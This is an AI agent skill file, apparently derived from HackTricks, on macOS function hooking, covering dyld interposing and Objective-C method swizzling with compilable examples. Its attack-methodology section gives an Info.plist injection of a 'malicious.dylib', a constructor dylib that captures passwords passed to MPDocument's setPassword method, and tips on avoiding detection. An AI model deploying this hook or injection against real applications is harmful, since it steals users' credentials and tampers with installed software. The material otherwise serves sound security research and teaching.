Hacktricks-skills macos-function-hooking
macOS function hooking and method swizzling for security research. Use this skill whenever you need to intercept function calls, hook Objective-C methods, analyze binary behavior, or understand macOS runtime manipulation. Trigger this for any task involving dylib injection, function interposing, method swizzling, or runtime code interception on macOS.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-function-hooking/SKILL.MDmacOS Function Hooking
A skill for understanding and implementing function hooking techniques on macOS for security research and binary analysis.
When to Use This Skill
Use this skill when you need to:
- Intercept and modify function calls in macOS applications
- Hook Objective-C methods for runtime analysis
- Create dylibs for function interposing
- Understand macOS dynamic linking and runtime behavior
- Perform security research on macOS applications
- Analyze how applications handle sensitive data at runtime
Function Interposing
Function interposing allows you to replace one function with another at the dynamic linker level using the
__interpose section.
Basic Interpose Setup
- Create a dylib with interpose section
- Define replacement and original function pointers
- Inject using
DYLD_INSERT_LIBRARIES
Interpose Example
Create
interpose.c:
// Compile: gcc -dynamiclib interpose.c -o interpose.dylib #include <stdio.h> #include <stdarg.h> int my_printf(const char *format, ...) { int ret = printf("Hello from interpose\n"); return ret; } __attribute__((used)) static struct { const void *replacement; const void *replacee; } _interpose_printf __attribute__ ((section ("__DATA,__interpose"))) = { (const void *)(unsigned long)&my_printf, (const void *)(unsigned long)&printf };
Create a test program
hello.c:
// Compile: gcc hello.c -o hello #include <stdio.h> int main() { printf("Hello World!\n"); return 0; }
Run with injection:
DYLD_INSERT_LIBRARIES=./interpose.dylib ./hello # Output: Hello from interpose
Alternative Interpose Macro
Use this cleaner macro approach:
#define DYLD_INTERPOSE(_replacement, _replacee) \ __attribute__((used)) static struct { \ const void* replacement; \ const void* replacee; \ } _interpose_##_replacee __attribute__ ((section("__DATA,__interpose"))) = { \ (const void*) (unsigned long) &_replacement, \ (const void*) (unsigned long) &_replacee \ }; int my_printf(const char *format, ...) { int ret = printf("Hello from interpose\n"); return ret; } DYLD_INTERPOSE(my_printf, printf);
Debug Interposing
Use
DYLD_PRINT_INTERPOSING to debug:
DYLD_PRINT_INTERPOSING=1 DYLD_INSERT_LIBRARIES=./interpose.dylib ./hello
Dynamic Interposing
For runtime interposing (after process starts):
struct dyld_interpose_tuple { const void* replacement; const void* replacee; }; extern void dyld_dynamic_interpose(const struct mach_header* mh, const struct dyld_interpose_tuple array[], size_t count);
Method Swizzling
Method swizzling modifies Objective-C method implementations at runtime using the Objective-C runtime API.
Understanding Objective-C Messages
Objective-C method calls use
objc_msgSend:
// Method call: [myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2] // Becomes: int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)( someObject, @selector(method1p1:p2:), value1, value2 );
Accessing Method Information
// Compile: gcc -framework Foundation test.m -o test #import <Foundation/Foundation.h> #import <objc/runtime.h> #import <objc/message.h> int main() { NSString* str = @"This is an example"; Class strClass = [str class]; // Get class name NSLog(@"Class name: %s", class_getName(strClass)); // Get method information SEL sel = @selector(length); Method m = class_getInstanceMethod(strClass, sel); NSLog(@"Number of arguments: %d", method_getNumberOfArguments(m)); NSLog(@"Implementation address: 0x%lx", (unsigned long)method_getImplementation(m)); return 0; }
Swizzling with method_exchangeImplementations
This swaps two method implementations:
// Compile: gcc -framework Foundation swizzle.m -o swizzle #import <Foundation/Foundation.h> #import <objc/runtime.h> @interface NSString (SwizzleString) - (NSString *)swizzledSubstringFromIndex:(NSUInteger)from; @end @implementation NSString (SwizzleString) - (NSString *)swizzledSubstringFromIndex:(NSUInteger)from { NSLog(@"Custom implementation called"); // Call original (now swapped) return [self swizzledSubstringFromIndex:from]; } @end int main(int argc, const char * argv[]) { @autoreleasepool { Method originalMethod = class_getInstanceMethod([NSString class], @selector(substringFromIndex:)); Method swizzledMethod = class_getInstanceMethod([NSString class], @selector(swizzledSubstringFromIndex:)); method_exchangeImplementations(originalMethod, swizzledMethod); NSString *myString = @"Hello, World!"; NSString *subString = [myString substringFromIndex:7]; NSLog(@"Substring: %@", subString); } return 0; }
Swizzling with method_setImplementation
This replaces one method's implementation directly:
#import <Foundation/Foundation.h> #import <objc/runtime.h> static IMP original_substringFromIndex = NULL; @interface NSString (SwizzleString) - (NSString *)swizzledSubstringFromIndex:(NSUInteger)from; @end @implementation NSString (SwizzleString) - (NSString *)swizzledSubstringFromIndex:(NSUInteger)from { NSLog(@"Custom implementation called"); // Call original using stored IMP return ((NSString *(*)(id, SEL, NSUInteger))original_substringFromIndex)(self, _cmd, from); } @end int main(int argc, const char * argv[]) { @autoreleasepool { Class stringClass = [NSString class]; Method originalMethod = class_getInstanceMethod(stringClass, @selector(substringFromIndex:)); IMP swizzledIMP = method_getImplementation( class_getInstanceMethod(stringClass, @selector(swizzledSubstringFromIndex:)) ); // Store original and set new implementation original_substringFromIndex = method_setImplementation(originalMethod, swizzledIMP); NSString *myString = @"Hello, World!"; NSString *subString = [myString substringFromIndex:7]; NSLog(@"Substring: %@", subString); // Restore original method_setImplementation(originalMethod, original_substringFromIndex); } return 0; }
Hooking Attack Methodology
Injection Vectors
- DYLD_INSERT_LIBRARIES environment variable
- Info.plist modification (for signed apps)
- Dylib process injection via task port
Modifying App Info.plist
<key>LSEnvironment</key> <dict> <key>DYLD_INSERT_LIBRARIES</key> <string>/path/to/malicious.dylib</string> </dict>
Then re-register:
/System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Support/lsregister -f /Applications/Application.app
Library Constructor Hooking
// Compile: gcc -dynamiclib -framework Foundation hook.m -o hook.dylib #include <Foundation/Foundation.h> #import <objc/runtime.h> static IMP real_setPassword = NULL; static BOOL custom_setPassword(id self, SEL _cmd, NSString* password, NSURL* keyFileURL) { NSLog(@"[+] Password captured: %@", password); // Call original return ((BOOL (*)(id,SEL,NSString*, NSURL*))real_setPassword)(self, _cmd, password, keyFileURL); } __attribute__((constructor)) static void customConstructor(int argc, const char **argv) { Class classMPDocument = NSClassFromString(@"MPDocument"); Method real_Method = class_getInstanceMethod(classMPDocument, @selector(setPassword:keyFileURL:)); IMP fake_IMP = (IMP)custom_setPassword; real_setPassword = method_setImplementation(real_Method, fake_IMP); }
Important Considerations
Limitations
- DYLD_INSERT_LIBRARIES only works on unprotected binaries
- System Integrity Protection (SIP) blocks injection on protected processes
- Stripping app signatures may prevent execution on newer macOS versions
- Interposing doesn't work with shared library cache
Detection Risks
- Method name verification can detect swizzling
- Some apps check for hooking indicators
- Use
overmethod_setImplementation
to avoid detectionmethod_exchangeImplementations
Best Practices
- Always store original IMP before overwriting
- Call original implementation to maintain functionality
- Use library constructors for automatic initialization
- Test on unprotected binaries first
- Document all modifications for reproducibility
References
- nshipster.com/method-swizzling
- macOS Runtime Programming Guide
- dyld documentation
Tools
Use these scripts for common tasks:
- Compile interpose dylibscompile_interpose.sh
- Compile swizzle codecompile_swizzle.sh
- Test hook injectiontest_hook.sh